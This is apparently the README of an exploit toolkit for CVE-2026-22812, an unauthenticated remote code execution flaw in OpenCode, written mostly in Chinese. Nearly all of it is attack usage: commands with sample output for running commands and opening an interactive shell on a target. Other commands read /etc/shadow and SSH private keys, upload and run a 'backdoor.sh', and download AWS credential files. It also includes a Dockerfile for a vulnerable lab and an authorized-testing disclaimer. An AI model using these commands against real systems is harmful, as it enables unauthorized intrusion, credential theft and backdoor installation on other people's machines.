针对 CVE-2026-22812(OpenCode 未认证远程代码执行漏洞)的全功能利用工具包
CVE-2026-22812 漏洞利用工具是一个针对 OpenCode 未认证远程代码执行漏洞的综合性利用框架。该工具提供多种利用方法,包括交互式 Shell、文件操作和系统信息枚举。
# 克隆仓库
git clone https://github.com/rohmatariow/CVE-2026-22812-exploit.git
cd CVE-2026-22812-exploit
# 安装依赖
pip3 install -r requirements.txt
pip3 install requests urllib3
python3 exploit.py -t http://192.168.1.10:4096 --verify
输出:
[+] Target is VULNERABLE to CVE-2026-22812!
[+] Session ID: abc123def456
python3 exploit.py -t http://192.168.1.10:4096 -c "id"
输出:
[*] Creating session...
[+] Session created: abc123def456
[+] Target is VULNERABLE!
[*] Executing: id
[+] Command executed successfully
uid=1000(developer) gid=1000(developer) groups=1000(developer)
python3 exploit.py -t http://192.168.1.10:4096 -i
交互式会话:
[+] Session created: abc123def456
[+] Target is VULNERABLE!
[*] Entering interactive shell mode
[!] Type 'help' for commands, 'exit' to quit
developer@target$ whoami
developer
developer@target$ pwd
/home/developer/workspace
developer@target$ ls -la
total 48
drwxr-xr-x 8 developer developer 4096 Jan 16 10:30 .
drwxr-xr-x 3 developer developer 4096 Jan 15 09:20 ..
-rw-r--r-- 1 developer developer 220 Jan 15 09:20 .bash_logout
...
developer@target$ read /etc/hostname
[*] Reading file: /etc/hostname
[+] File read successfully (10 bytes)
dev-server-01
developer@target$ exit
[*] Exiting...
# 单条命令
python3 exploit.py -t http://target:4096 -c "whoami"
# 复杂命令
python3 exploit.py -t http://target:4096 -c "ps aux | grep opencode"
# 多条命令
python3 exploit.py -t http://target:4096 -c "cd /tmp && ls -la && pwd"
# 读取敏感文件
python3 exploit.py -t http://target:4096 -r /etc/passwd
python3 exploit.py -t http://target:4096 -r /etc/shadow
python3 exploit.py -t http://target:4096 -r ~/.ssh/id_rsa
# 上传 Shell 脚本
python3 exploit.py -t http://target:4096 --upload shell.sh /tmp/shell.sh
# 上传二进制文件
python3 exploit.py -t http://target:4096 --upload payload.elf /tmp/payload
# 上传并执行
python3 exploit.py -t http://target:4096 --upload backdoor.sh /tmp/bd.sh
python3 exploit.py -t http://target:4096 -c "chmod +x /tmp/bd.sh && /tmp/bd.sh"
# 下载配置文件
python3 exploit.py -t http://target:4096 --download /etc/hosts ./hosts.txt
# 下载凭据文件
python3 exploit.py -t http://target:4096 --download ~/.aws/credentials ./aws_creds.txt
# 下载源代码
python3 exploit.py -t http://target:4096 --download /app/config.json ./config.json
# 收集系统信息
python3 exploit.py -t http://target:4096 --sysinfo
输出:
{
"hostname": "dev-server-01",
"username": "developer",
"user_id": "uid=1000(developer) gid=1000(developer)",
"current_dir": "/home/developer/workspace",
"kernel": "Linux dev-server-01 5.15.0-91-generic x86_64",
"os_release": "Ubuntu 22.04.3 LTS",
"ip_address": "192.168.1.10",
"processes": "..."
}
npm install -g opencode-ai@latestpkill -f opencode# Dockerfile for vulnerable OpenCode
FROM node:18
RUN npm install -g [email protected]
EXPOSE 4096
CMD ["opencode"]
# 构建并运行
docker build -t opencode-vuln .
docker run -p 4096:4096 opencode-vuln
# 测试漏洞利用
python3 exploit.py -t http://localhost:4096 -i
# 安装存在漏洞的版本
npm install -g [email protected]
# 启动 OpenCode
opencode
# 在另一个终端中运行漏洞利用
python3 exploit.py -t http://localhost:4096 --verify
⚠️ 切勿在生产环境中部署存在漏洞的版本!
请仔细阅读
本工具仅供授权安全测试使用。
作者:
使用本工具即表示您同意:
使用风险自负
⭐ 如果对您有帮助,请点个星标!⭐
仅供授权安全测试使用